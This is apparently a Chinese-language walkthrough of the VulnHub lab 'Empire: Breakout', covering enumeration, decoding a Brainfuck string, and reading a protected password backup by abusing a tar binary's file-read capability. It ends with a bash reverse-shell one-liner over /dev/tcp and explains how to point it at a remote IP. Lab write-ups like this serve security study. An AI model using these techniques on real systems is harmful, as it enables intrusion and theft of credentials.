靶机地址:Empire: Breakout ~ VulnHub
靶机超级简单。
靶机和Kali桥接。
一:信息收集。
1:发现主机,靶机开放的端口服务。
二.漏洞枚举
1.访问端口,
2,解一下密。解密工具:Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]
3,访问其他端口。这两个有啥区别呢?管理员和用户登录。
4,smb服务探测,用enum4linux这款smb枚举工具来进一步探测,
enum4linux 192.168.1.55
三:漏洞利用
1.登管理员。 打开终端。
1;拿到的一个flag。
2.flag2.[转载] Linux的capability深入分析 - 舒方小院 - 博客园
tar文件权限很高。
getcap tar 查看到的结果发现这个文件居然可以读取任意文件,至于怎么看出来的可以点上面链接。,里面讲解了getcap命令多种回显值的意思,而在该目录下只有两个文件,我们都看过了,说明在其他地方一定存在一个文件需要用这个tar文件读取,这才是本题的关键
.old_pass.bak文件没有权限。
但是刚才的tar文件有执行权限,所以我们可以尝试来一波骚操作,把这个文件用给的tar压缩后再用系统的tar文件解压,这样就没有权限问题了 ,代码如下:
打包文件
./tar -cvf passwd.tar /var/backups/.old_pass.bak
解压文件
tar -xvf passwd.tar这里加了./意思是用当前目录下的tar文件,不加./意思就是用系统的tar,因为题目给的tar文件有执行权限,所以要用题目给的tar打包,再查看解压的文件就可以成功查看到第二个flag了,如下
四。提权。
用自带的shell
bash -i >& /dev/tcp/localhost/6666 0>&1
这是一个常用的反弹 shell 的命令。常用于把内网的机器反弹到外网机器上从而实现外网主机控制内网主机。但是在内网环境也可以用,这个命令的功能简单的来说就是将输入输出重定向到指定的位置,达到反弹shell的结果,localhost换成反弹目标的ip即可。